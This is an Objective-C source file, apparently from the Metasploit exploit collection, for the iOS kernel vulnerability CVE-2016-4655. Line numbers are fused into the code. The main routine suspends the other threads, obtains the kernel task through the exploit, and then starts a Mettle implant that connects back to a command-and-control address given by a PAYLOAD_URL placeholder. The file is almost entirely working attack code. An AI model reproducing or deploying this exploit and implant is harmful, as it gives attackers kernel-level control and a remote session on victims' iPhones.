Path: blob/master/external/source/exploits/CVE-2016-4655/main.m
19591 views
#import <UIKit/UIKit.h>12#include "arch.h"3#include "exploit64.h"4#include "nvpatch.h"5#include "set.h"67#include <mettle.h>89void suspend_all_threads() {10thread_act_t other_thread, current_thread;11unsigned int thread_count;12thread_act_array_t thread_list;1314current_thread = mach_thread_self();15int result = task_threads(mach_task_self(), &thread_list, &thread_count);16if (result == -1) {17exit(1);18}19if (!result && thread_count) {20for (unsigned int i = 0; i < thread_count; ++i) {21other_thread = thread_list[i];22if (other_thread != current_thread) {23int kr = thread_suspend(other_thread);24if (kr != KERN_SUCCESS) {25mach_error("thread_suspend:", kr);26exit(1);27}28}29}30}31}3233const char payload_url[256] = "PAYLOAD_URL";3435void start_mettle()36{37struct mettle *m = mettle();38if (m == NULL) {39return;40}4142c2_add_transport_uri(mettle_get_c2(m), payload_url);4344mettle_start(m);45mettle_free(m);46}4748int main(int argc, char * argv[]) {49suspend_all_threads();5051vm_address_t kbase = 0;52task_t kernel_task = get_kernel_task(&kbase);5354start_mettle();5556return 0;57}5859606162